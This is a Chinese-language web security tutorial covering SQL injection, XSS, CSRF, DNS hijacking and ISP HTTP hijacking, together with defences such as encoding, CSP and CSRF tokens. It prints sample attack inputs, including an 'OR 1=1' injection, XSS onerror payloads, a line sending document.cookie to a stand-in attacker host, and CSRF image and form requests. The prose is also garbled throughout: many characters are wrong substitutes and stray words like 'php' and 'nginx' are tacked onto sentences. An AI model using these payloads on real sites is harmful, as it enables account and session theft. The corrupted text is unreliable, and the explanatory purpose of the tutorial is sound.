從技術到安全, 這是一個趨勢. 之前追求的是比較炫酷的技術, 等實現事後發現, 本身還能作什麼. 炫技完了以後,差很少就該到悟道的時候了. 用戶安全, 就是一個很大的禪. 蘋果拒絕 FBI, google拒絕 替換 Michelle 圖片。 這些都是保障用戶安全性的一個重要示範. 而, 網頁安全又是一個巨坑, 基本上沒有大量的時間和精力投入,你基本上是爬不出來的. 那這個坑有多深呢? 我這裏挖了淺淺的一層土, 給你們看看.javascript
根據名字, 咱們大體能夠猜想到. 這個攻擊是和sql數據庫相關的(關係型數據庫).
系統的解釋一下:
sql 注入: 指的是攻擊者注入一段惡意的腳本, 而後執行他想要的結果。 好比: 獲取到該db 裏面全部的數據,刪除數據庫數據.(因爲, 後臺給前臺開放的接口一般只是做爲查詢使用, 全部 獲取db 全部數據這類攻擊比較常見).php
這類攻擊一般發生在,後臺使用動態腳本生成sql query string. 並且, 途中不通過混淆處理. 以下:css
var name = req.query.userName;
var pass = req.query.password;
sql = "SELECT id FROM users WHERE username='" + uname + "' AND password='" + pass + "'"; database.execute(sql);
而後,attacker 能夠 寫入以下的sql query string:html
"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";
即, 將pass寫爲: pass'+"OR 1=1"+'; 並, 發送給服務端處理.
額... 結果的話, 你應該懂的
上面sql injection 只是 一個比較友好的 入侵(這算是良心黑客). 若是, 你的sql statement的操做權限不只僅只限於查詢, 還包括CRUD操做的話. 那麼,hacker 能作的就大了去了.前端
若是你的接口涉及 修改. 當hacker, inject 了一段 代碼,破壞你的數據的完整性. 這種狀況可能形成, 其餘查詢時,會出現無效查詢的結果.(void transaction), 甚至返回別人的數據.java
若是你的接口 涉及 刪除. 那結果我就很少說了.node
另外, 還有一些關於admin 或者 visitor的權限分配。 這也是考察數據庫安全性的一個標準.nginx
第一類方法, 算是一個比較笨笨的。 經過一個blacklists正則匹配, 檢測 query string裏面的參數, 將一些能夠字符排除掉。git
第二類方法,也是最經常使用的。 使用數據庫自帶的一系列函數進行查詢. 這個應該不用多說, 數據庫自帶庫的函數 內部 對參數的處理,必定比咱們重複造輪子檢測正確性高~
好比, mongoDB 中的插入:
collection.insertMany([],cb)程序員
XSS(Cross-site scripting). 你問我爲何不是CSS? 我也不知道.
XSS主要是指跨腳本攻擊, 其實就至關於執行js腳本. 常常出如今評論回覆的邏輯頁面中.
以及回覆:
咱們先理解一下, 評論回覆的流程.
正常狀況下:
用戶評論的內容--comment
異步發送給Server, server 將其存儲在數據庫中。 成功時, 則返回新加的評論--comment
此時, 使用<p>comment</p>
將評論渲染出來.
上面一個流程能夠很容易的說明一個道理, 即, 沒有對comment 進行任何的處理. 在這種狀況下, XSS 簡直就是如魚得水。
好比:
//comment 爲:
<script type="text/javascript">console.log(123); </script>
//渲染出來的內容爲:
<p><script type="text/javascript">console.log(123); </script></p>
最終渲染到頁面上的結果是, p裏面的內容爲空,控制檯輸出了123.
實際上, 評論已經被保存在數據庫。 當其餘用戶訪問時,該評論中的script 腳本一樣會 發生做用.(可怕ing) 這纔是, XSS 攻擊最讓人頭疼的地方.
下圖是基本運做流程圖: from acunetix
XSS 其實, 不只僅只有script 這個東西可使用. 凡是涉及用戶輸入而且渲染到頁面上的,都有可能被XSS。
好比:
模板 | 實際渲染 |
---|---|
< img src=usrInput> | < img src="#" onerror="alert('XSS')"/> |
< iframe src=usrInput> | < iframe src="http://xss.html"> |
< input type=userInput> | < input type="image" src="#" onerror="alert('XSS')"/> |
background插入 | background:url(javascript:alert(XSS)); |
... | ... |
因此上面就是針對標籤屬性進行XSS 攻擊. 這類方式的防止很好解決。就是使用setAttribute方法進行設置便可.
經過將腳本嵌套在正規頁面上, 用戶在打開該頁面時, 根本沒法察覺, 本身已經變成XSS's victim. 因此, 當用戶打開網站時, malicious 腳本便會執行. 該腳本一般能作的事情:
經過document.cookie 獲取用戶的cookie信息. 並且,若是你的token 不是放在Server 端,而是放在用戶cookie中,那麼hacker 就徹底得到該用戶的信息, 假冒用戶進行登陸.
好比: window.location='http://attacker/?cookie='+document.cookie
腳本可以對界面進行修改
若是頁面上有用戶輸入的私密信息,好比銀行帳號,密碼等。就能夠綁定監聽, 並經過ajax將信息發送給hacker. (跨域徹底能夠經過CORS解決)
使用H5的相關API, 得到用戶的人身信息. 好比, 攝像頭, 地理位置等. 固然, 用戶也不是傻, 不會無緣無故的就把確認點了(使用這些API時, 須要獲取用戶的贊成). 但在 social engineering 面前, 這一切都不是事.
地址的重定向, 這應該不用過多解釋. 只要使用window.location.href
便可.
如今,咱們已經知道xss的原理,即, 經過嵌入script腳本, 執行惡意的操做. 因此, 最基本的防禦能夠分爲兩種:
驗證: 經過驗證用戶輸入的內容, 是否符合規則. 防止hacker插入, 惡意代碼.
Encoding: 其實就至關於字符的轉義. 好比: 將'<' 轉換爲: <. '>'轉換爲: >. (防止插入<script>或者其餘tag--< p>< /p>)
驗證
實際上, 驗證能夠分爲blacklist 和 whitelist驗證. 不過,blacklist 只是做爲介紹, 在正式開發中, 最常使用的應該算是whitelist.
blackList
這種方法其實就至關於枚舉法, 只是, 他猜想的方向是針對hacker用戶. 好比. 設置一個正則./<script/g
. 使用,replace進行替換, 或者彈出提醒框.
whitelist
這和blacklist同樣, 只是裏面設置的是對正確內容的驗證. 該方法,主要是註冊時候使用。 對用戶名, 暱稱等信息,使用相關的正則表達式進行驗證。 這就是典型的whitelist 方法.
Encoding:
這個方法就比較實誠了,沒有浮誇的正則. 有的是一些自定義的convert。 好比上面提到的:
Convert & to &
;
Convert < to <
;
Convert > to >
;
Convert " to "
;
Convert ' to '
;
Convert / to /
;
這樣, 能夠防止嵌入的scipt腳本執行, 使其變爲 data 直接渲染到頁面上. 下面咱們針對不一樣的場景具體說明一下, XSS保護的措施.
在講解標籤防禦以前,我再把上面的XSS attack實例搬下來:
模板 | 實際渲染 |
---|---|
< img src=usrInput> | < img src="#" onerror="alert('XSS')"/> |
< iframe src=usrInput> | < iframe src="http://xss.html"> |
< input type=userInput> | < input type="image" src="#" onerror="alert('XSS')"/> |
... | ... |
上面提到了,可使用setAttribute進行內部的encoding. 在client-side 還有其餘方法能夠實現.
用戶輸入 | 轉義方法 | ||
---|---|---|---|
< p>usrInput< /p> | eleP.textContent=usrInput | ||
< p attr> | ele.setAttribute(attr,usrInput)\ | \ | ele[attr]=usrInput |
URL param | window.encodeURLComponent(usrInput) | ||
style value | ele.style.prop = usrInput |
簡而言之就是儘可能在操做用戶輸入的數據的時候,減小innerHTML和outerHTML出現的頻次.
這裏,還須要對URL para作一點補充.
對於encoding的方法,原生js 提供了3個global Funciton.
escape()
encodeURI()
encodeURIComponent()
實際上,他們3個均可以做爲encoding的方法. 可是, 既然均可以,那爲何會有3個呢?
in fact, 他們的專業方向仍是很不同的.
escape()
該方法主要是對字符串(string)進行編碼(ascii). 全部的空格,標點,以及任意的非ASCII字符都會被形如: %xx
的替代. 若是 character 的 比特數>255 則會使用 %uxxxx
來代替--最明顯的例子就是中文. 其中,這幾個字符@*/+
不會被編碼.
接受的參數就是string. 即. escape(str); 詳細demo 能夠參考:xkr escape.
其對應的decode的方法是: unescape();
該方法主要的應用場景是對 傳輸內容進行轉換, 好比插入數據庫的內容等. (實話說,使用頻次仍是挺低的)
encodeURI()
該方法是一個比較經常使用的編碼url的方法. 一般,是用來將url字符所有轉化爲合法字符, 進行傳輸.
好比: encodeURI("http://example.com?name=壞人")
輸出的結果爲:http://example.com?name=%E5%9D%8F%E4%BA%BA
.
encodeURI 不會對下列字符進行convert:ASCII字母,數字,~!@#$*()=:/,;?+& '
對應的decode方法爲: decodeURI
主要使用場景有:對URL進行編碼,
以及post方式,指定Content-Type:application/x-www-form-urlencoded 時,傳輸的encodeURI(str)內容.
encodeURIComponent()
這個方法最容易和encodeURI 混淆. 實際上, 該方法只針對於URI中的 query.(甚至連search部分都不能用,想一想都是怕的).
該方法不會對: ASCII字母 數字 ~!*()'
進行convert.
其對應的decode方法有: decodeURIComponent
因此, 在形如.< a href="http://example.com?usrInput">link</a >
咱們就須要對usrInput進行encodeURI(), 編碼轉化了.
以及,在動態添加styel時,對於background或者background-url裏的, usrInput 進行encodeURI().
這個主要就是針對於評論內容了. 不過因爲內容過於複雜,這裏就不詳述。 大概就是上面的幾點,以及 字符的轉化.
推薦使用XSS module 進行轉化.
我一直深信着一句話
There is no absolute security system
就算一個小小的lapse也會給hacker 可乘之機. 因此, 在進行XSS 防禦時, 不免會有些遺漏, CSP 應該算是在hacker 找到漏洞後的一道有力的防線.CSP 我已經在我另一篇博文裏面闡述了CSP頁面防禦
CSP的設計目的就是爲了加強網頁的安全性,解放程序員和hacker的死磕. 並且,對於XSS的防禦有這自然的優點. 由於XSS,主要就是插入內嵌或者 跨域的script 執行.
而CSP能夠作到的就有:
不加載不安全腳本
不執行內聯腳本
不執行eval函數
那, 應該如何使用呢?
CSP主要和響應頭--Content‑Security‑Policy 相關.
經過server-side 返回Content‑Security‑Policy 頭,來啓用不一樣程度的防禦措施. 這裏,咱們只介紹於XSS相關的.
一般,咱們能夠在CSP 頭裏設置一些相關directive.好比:
default-src: 默認資源設置, 好比js,css,img,fonts,xhr等
script-src: 設置js腳本的相關方法
style-src: 設置css腳本的相關方法
img-src: 設置圖片的相關方法
child-src: 設置iframe的相關sandbox
...
不過咱們通常只須要了解前4個便可. 每一個值能夠取相關的屬性.好比: default-src self
. 表示默認頁面的資源只能加載同域的內容.
咱們來着重看一下 default-src
能夠設置的內容
property | effect |
---|---|
none | 不容許從任何地方加載資源(估計用不上) |
self | 運行從同域的server下載資源 |
unsafe-inline | 容許運行內聯腳本 |
unsafe-eval | 容許運行eval方法 |
好比: 咱們能夠設置 script-src 'self'
. 此時, 只容許同域資源. 而且不會執行內聯腳本和eval函數. 若是解除二者的限制,能夠添加上.script-src 'self' 'unsafe-inline';
另外, 咱們還能夠設置跨域腳本的執行script-src 'self' http://example.com
這樣,資源不只僅能夠從同源server-side下載,還能夠從example.com 下載.
推薦一個,比較好的CSP頭的設置內容:
script‑src 'self' scripts.example.com;
img‑src *;
default‑src 'self' http://*.example.com
那如何啓用CSP呢?
在nginx下,給conf配置文件, 加上以下的內容.add_header Content-Security-Policy "default-src 'self';";
CSP參考文獻:
CSP.com
CSRF or cross-site request forgery or 跨域假冒請求. 他的工做原理是, 經過GET 或者 POST發送相應的信息給一個信息網站, 好比, 銀行網, 信貸網, 百合網等. 在發送過程當中, 實際上該次請求會帶上你的本來的IP address 和 cookie info.
實例
假設,網站www.example.com 沒有進行CORS(跨域請求設置), 贊成任意域名的訪問,即:Access-Control-Allow-Origin: '*';
那麼, 若是該網站的某個路由設置不當,就有可能發生CSRF. 如今, hacker 給 victim 發送一封 e-HTML 郵件. 郵件裏面有這樣一段內容:<img src="https://www.example.com/transfer?amount=1000&destination=jimmy">
翻譯一下, 就是給jimmy帳戶, 轉過去100¥. 固然, 前提是, 該接口知足該方式的訪問.
當用戶打開該email時, img會當即發送一個請求。 假設, 你的登陸狀態(session cookie) 還未過時, 在該請求中,會一併帶上在https://www.example.com/transfer
下存儲的cookie. 至關於得到了你已經登陸的權限, 假冒你進行相關的操做. 可是, referer 裏的內容是不會被改變的, 即若是你是從 www.malicious.com 發的請求, 那麼referer 仍是 www.malicious.com(提示: 跨域)
so, 不過目前來講,沒有哪位童鞋會經過 最讓hacker喜歡的get方式, 去傳輸如此重要的信息.並且在get傳輸的時候, 有心的dev也會作相關的混淆.
那, CSRF就沒有辦法了麼?
actually, 沒了get 我還有POST. 不過, 咱們這裏並非討論ajax的 跨域post. 由於ajax的post請求,只會發送當前頁的cookie, 而不會在瀏覽器中搜索目標頁的cookie. 並且, CSRF的工做環境是user PC. 而Form 表單發送就是CSRF最好的post 發送方式, 便可以帶上cookie, 又能夠避免瀏覽器的跨域干涉. 下列是, CSRF經常使用的幾種方式
那CSRF 中, 一般怎麼進行POST的發送呢?
很簡單,構建一個form表單便可.
<form action="http://example.com" method="POST"><input type="text" name="account"><input type="text" name="password"><input type="submit"></form>
將表單插入到你malicious 網頁內部, 利用社工, 誘導用戶進入你的頁面,而後發送內容. 若是你想作的比較隱蔽的話,可使用iframe, 額外將表單引入, 而後, 自動執行submit 操做.
如今,hacker都能經過 GET 和POST, 巧妙的獲取用戶的session. 那, how to prevent CSRF?
CSRF有3個特性: 跨域, cookie, 請求方式. 因此,只要阻斷其中一個,那麼CSRF 就能夠 go die了.
這個就很好理解了, 即, 前端和後臺雙方協定一個token內容 , 或者直接由 back-end 生成 random token. 而後在有請求到來時,server-side 進行Token驗證.
<form action="https://example.com/tweet" method="POST"><input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn" /></form>
這裏的value 就能夠用來做爲request有效性的說明. 一般設置的token也是有講究的, 好比可使用 指定字符+time來生成, 指定字符+salt生成. 這些Token驗證方式,咱們均可以本身下去琢磨的。
因此, 就算hacker生成了 form表單, 可是, 他的驗證內容可能已通過期(無效Token).
一樣, 咱們還能夠在cookie中設置驗證Token. 原理我就不過多介紹了, cookie中設置的內容和上文在form中設置的其實差很少. 另外, 還須要注意的是,針對重要cookie, 須要設置 httpOnly的選項, 防止用戶腳本獲取cookie內容.
由於, form 傳輸的格式爲:
Content-Type: application/x-www-form-urlencoded
而,JSON的傳輸類型爲:
Content-Type: application/json
form 沒有辦法去模仿JSON類型進行傳輸,因此,這也是一個很好的辦法.
另外, 若是不得不使用form表單方式提交, 還有另一種方式. 咱們能夠經過request Header中的referrer屬性, 來得到發送腳本的地址. 經過whitelist, 來容許指定域的請求訪問.
關於DNS劫持, 事實上更偏向於User,由於, developer實際上,對這個也無能爲力。 咱們來簡述一下,DNS hijack的過程。
若是你們清楚DNS 的解析過程話,上圖的邏輯就很清楚了。 用戶輸入一個真域名,向 fake DNS Server 發起UDP請求,而後, DNS返回一個malicious的IP地址, 結果,用戶打開的是一個全屏廣告,或者是 妹妹寂寞的網頁.
actually, 上圖還忽略了一個很重要的步驟, 就是 用戶如何會向 fake DNS Server 發請求的呢?
實際上, 這個鍋,須要用戶背. 之前trojan horse (木馬病毒)盛行的時候, OS的安全性 真的 有點可憐. 當user 下載 來源不明的video,image, software... 極可能會附帶上蜜汁病毒, 而後,病毒會修改你的ISP服務配置, 即, 就是你的DNS提供商的IP地址. 而後, hacker會將他control的DNS Server 填加進去. 那, 咱們怎樣才能知道本身被hack了呢? 很簡單,google唄.對於,MAC用戶, 只要找到你的DNS列表,而後對應FBI或者國家安全網提供的DNSchanger IP對照一下,若是有就cleanup一下.
雖然DNS hijack的攻擊成本很大, 可是,成功後的profit 也是至關大的. hacker 能夠將fake的銀行網頁信息發給你, 誘騙你的account. 或者 將正確的網頁緩存, 插入更多的廣告收取廣告費用.
事實上, 只有一種辦法,潔身自好~ (你懂的)
首先,我google了--HTTP 劫持, 結果, 歪果仁對於ISP hijacking的認識, 仍是蠻少的,結果全是神馬DNS劫持之類的. 後來, 我特麼換了中文搜索--http 劫持. 我就很少說了. 看來國人對於HTTP 劫持的認識仍是超級深入啊喂. 緣由是什麼-- 廣告唄~
看一個常見的彈窗廣告:
你能夠關閉他, 可是, 特麼每次打開都要關閉, 超級煩~
試想一下, 當你打開一個頁面, 結果左側右側全是些 iframe廣告, 第一個反應是, 網業主, 你是否是窮瘋了, 沒事給本身頁面添這麼多廣告是幹嗎... 網頁主 莫名的背鍋. 而後, 只能對這些小白深深的嘆口氣-- 親, 這不是我乾的, 這是電信, 聯通那些ISP 提供商乾的...
因此, 因爲沒有完備的網絡法, 對於ISP 乾的這些齷蹉勾當,監管局根本不鳥你. 因此, 你懂的.
這裏咱們要清楚一點, CN的運營商並非hacker, 他不會這樣或那樣的獲取用戶的信息(我沒說郭嘉的牆), 可能爲了商業目的,會變得沒有節操,給你安放一點廣告. 因此, 這裏hacker並無插入, 沒節操的只是運營商.
ok~ 咱們正式來看一下ISP如何劫持的HTTP流量的:
當C->S 發送一個網頁請求
ISP 得到以後, 給他本身的緩存服務器
若是命中緩存, 則返回已經修改事後的頁面信息(滿屏操廣告). 若是沒有, 要麼是你的網頁瀏覽量不夠,要麼是別人已經存滿了,你的網頁僥倖的沒有被插菊花.
命中後,緩存服務器假裝爲S,給C發送一個302(臨時移動,告訴你,應該從另一個地方去取資源). 因爲, 這是個重定向,因此傳輸速度就不用說了, C 就只能乖乖的去緩存服務器那取資源. 而忽略正確的Server返回的數據.
以後的事,就是你看到的網頁了. 那咱們有沒有什麼防禦措施呢?
首先, 咱們須要明確一點, 這裏的防禦有兩點:
User 對抗 ISP
developer 對抗 ISP
直接和你家網絡提供商打電話,讓他取消廣告推送.
該方法須要對技術有點了解特別是對網絡結構模塊有了解--網關,代理,隧道,ip等. 參考:HTTP 防劫持
簡單有效的方式是,使用HTTPS 加密方式傳輸. 由於, ISP就是經過抓你的HTTP包,而後分析裏面的內容,最終獲得結果. 而使用HTTPS 方式, 即便ISP 獲得你的HTTPS包,因爲有SSL 的加密, 他也不能得到你的包內容.
替換你的js的提供商,使用HTTPS路徑進行加載。好比使用七牛的HTTPS提供的腳本服務. 由於, ISP 不經能夠結果你的HTML, 也能夠結果你網頁中全部的HTTP請求,而js又是最重要的內容,因此,把這個控制到了,那麼你網頁能夠抵擋差很少80%的HTTP 劫持.
因爲本人精力和知識有限. 只能歸納以上的一些Attack方式, 固然,網絡安全一直就是個迷。 DDOS 永遠沒法破, 各類無厘頭的攻擊。 不過, 正所謂 競爭纔有動力嘛~
上圖:
這是一個很簡單的一維flowchart, 如何構建本身的一個網絡體系,是須要時間和精力投入的,當本身有一個完整的flowchart以後,我相信,你對網絡安全的趨勢也一定有所瞭解。